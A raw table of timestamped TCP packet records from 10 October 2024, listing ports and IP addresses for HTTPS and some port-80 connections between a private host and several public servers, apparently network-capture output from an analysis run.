Oct 10, 2024 18:00:30.299206018 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.299266100 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.299276114 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.299303055 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.299314022 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.299354076 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.299668074 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.299716949 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.306382895 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.306418896 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.306444883 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.306471109 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.306487083 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.306524038 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.306564093 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.306576014 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.306622028 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.306636095 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.306675911 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.306898117 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.306950092 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.306993008 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.307043076 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.307153940 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.307195902 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.307208061 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.307256937 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.307725906 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.307758093 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.307780981 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.307800055 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.307816029 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.307841063 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.307859898 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.307899952 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.308429003 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.308485985 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.342238903 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.342330933 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.342964888 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.343081951 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.343199968 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.343199968 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.343358040 CEST	49730	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.343374014 CEST	443	49730	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.462785959 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:30.462836027 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:30.462928057 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:30.463129044 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:30.463139057 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:30.469856024 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:30.469883919 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:30.469978094 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:30.470218897 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:30.470247984 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:30.647474051 CEST	49734	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.647509098 CEST	443	49734	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.647582054 CEST	49734	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.647907019 CEST	49734	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:30.647919893 CEST	443	49734	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:30.774174929 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 10, 2024 18:00:30.937060118 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:30.937410116 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:30.937421083 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:30.938344955 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:30.938540936 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:30.938549995 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:30.938668013 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:30.938765049 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:30.938910961 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:30.939239025 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:30.939301014 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:30.939378023 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:30.939893961 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:30.939893961 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:30.939907074 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:30.939977884 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:30.979433060 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:30.982150078 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:30.982161045 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.030230999 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.036160946 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.051999092 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.052010059 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.052041054 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.052052975 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.052066088 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.052201033 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.052201033 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.052222967 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.052234888 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.052349091 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.163808107 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.163842916 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.163899899 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.163944960 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.163955927 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.163975000 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.164026976 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.166775942 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.184218884 CEST	443	49734	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.187136889 CEST	49734	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.187145948 CEST	443	49734	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.188354015 CEST	443	49734	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.188440084 CEST	49734	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.189395905 CEST	49734	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.189397097 CEST	49734	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.189462900 CEST	443	49734	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.189482927 CEST	49734	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.189650059 CEST	443	49734	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.189706087 CEST	49734	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.189794064 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.189836979 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.189904928 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.190193892 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.190212011 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.190320015 CEST	49734	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.238029003 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.238164902 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.238255978 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.238347054 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.238385916 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.238414049 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.238425970 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.238508940 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.238563061 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.238569021 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.238660097 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.238748074 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.238748074 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.238770962 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.238818884 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.239536047 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.239636898 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.240034103 CEST	443	49732	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.240107059 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.240123034 CEST	49732	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.250375986 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.250406981 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.250526905 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.250545979 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.250642061 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.250642061 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.250642061 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.251498938 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.251538038 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.251616955 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.251616955 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.251629114 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.252909899 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.252948999 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.252989054 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.253002882 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.253051043 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.253051043 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.254129887 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.254268885 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.254304886 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.254355907 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.254395962 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.254415035 CEST	443	49733	151.101.66.137	192.168.2.17
Oct 10, 2024 18:00:31.254431009 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.254483938 CEST	49733	443	192.168.2.17	151.101.66.137
Oct 10, 2024 18:00:31.264930010 CEST	49736	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.264966965 CEST	443	49736	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.265140057 CEST	49736	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.265193939 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.265233040 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.265403986 CEST	49736	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.265423059 CEST	443	49736	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.265427113 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.265549898 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.265563011 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.269795895 CEST	49738	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.269834042 CEST	443	49738	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.269902945 CEST	49738	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.270232916 CEST	49738	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.270245075 CEST	443	49738	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.686125040 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.686439037 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.686448097 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.690001011 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.690084934 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.690397024 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.690573931 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.690591097 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.724334955 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.724606991 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.724622965 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.725727081 CEST	443	49738	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.725919008 CEST	49738	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.725943089 CEST	443	49738	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.726283073 CEST	443	49738	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.726566076 CEST	49738	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.726627111 CEST	443	49738	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.726722002 CEST	49738	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.728164911 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.728240013 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.728509903 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.728610039 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.728674889 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.730418921 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.730433941 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.756864071 CEST	443	49736	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.757149935 CEST	49736	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.757167101 CEST	443	49736	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.758213997 CEST	443	49736	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.758280993 CEST	49736	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.758656025 CEST	49736	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.758721113 CEST	443	49736	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.771404028 CEST	443	49738	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:31.777142048 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.777158976 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.777523041 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:31.809128046 CEST	49736	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.809139013 CEST	443	49736	162.159.140.237	192.168.2.17
Oct 10, 2024 18:00:31.825146914 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.825165033 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.838613033 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.838645935 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.838679075 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.838700056 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.838721991 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.838731050 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.838747978 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.838767052 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.838772058 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.838782072 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.838794947 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.857134104 CEST	49736	443	192.168.2.17	162.159.140.237
Oct 10, 2024 18:00:31.889137983 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.912363052 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.912399054 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.912446976 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.912472010 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.912494898 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.912511110 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.912533045 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.912548065 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.914833069 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.914853096 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.914894104 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.914906979 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.914916992 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:31.914937973 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:31.914949894 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:32.000319004 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:32.000382900 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:32.000452042 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:32.000471115 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:32.000494957 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:32.000514984 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:32.003184080 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:32.003232002 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:32.003262997 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:32.003268003 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:32.003293991 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:32.003304958 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:32.003523111 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:32.003587961 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:32.003593922 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:32.003698111 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:32.003747940 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:32.003820896 CEST	49737	443	192.168.2.17	151.101.194.137
Oct 10, 2024 18:00:32.003835917 CEST	443	49737	151.101.194.137	192.168.2.17
Oct 10, 2024 18:00:32.057930946 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.058063030 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.058128119 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.058151960 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.058238029 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.058284998 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.058294058 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.058506012 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.058552027 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.058558941 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.058744907 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.058796883 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.059001923 CEST	49735	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.059015989 CEST	443	49735	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.370613098 CEST	443	49738	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.370716095 CEST	443	49738	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.370807886 CEST	49738	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.371265888 CEST	49738	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.371284962 CEST	443	49738	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.373693943 CEST	49740	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.373754978 CEST	443	49740	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.373852968 CEST	49740	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.374090910 CEST	49740	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.374121904 CEST	443	49740	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.833441973 CEST	443	49740	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.833731890 CEST	49740	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.833744049 CEST	443	49740	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.834920883 CEST	443	49740	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.834995031 CEST	49740	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.835469007 CEST	49740	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.835469007 CEST	49740	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.835469007 CEST	49740	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.835572958 CEST	443	49740	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.835647106 CEST	49740	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.835648060 CEST	49741	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.835695028 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:32.835776091 CEST	49741	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.835944891 CEST	49741	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:32.835958004 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:33.183198929 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 10, 2024 18:00:33.818276882 CEST	49675	443	192.168.2.17	204.79.197.203
Oct 10, 2024 18:00:34.331559896 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:34.331896067 CEST	49741	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:34.331911087 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:34.332307100 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:34.332606077 CEST	49741	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:34.332675934 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:34.332734108 CEST	49741	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:34.379410982 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:34.694312096 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:34.694359064 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:34.694385052 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:34.694405079 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:34.694444895 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:34.694530964 CEST	49741	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:34.694530964 CEST	49741	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:34.694540977 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:34.694559097 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:34.694590092 CEST	49741	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:34.694617987 CEST	49741	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:34.695239067 CEST	49741	443	192.168.2.17	104.21.48.11
Oct 10, 2024 18:00:34.695252895 CEST	443	49741	104.21.48.11	192.168.2.17
Oct 10, 2024 18:00:37.102431059 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 10, 2024 18:00:37.406864882 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 10, 2024 18:00:37.997164011 CEST	49680	443	192.168.2.17	20.189.173.13
Oct 10, 2024 18:00:38.013161898 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 10, 2024 18:00:39.228169918 CEST	49682	80	192.168.2.17	192.229.211.108
Oct 10, 2024 18:00:41.640237093 CEST	49682	80	192.168.2.17	192.229.211.108
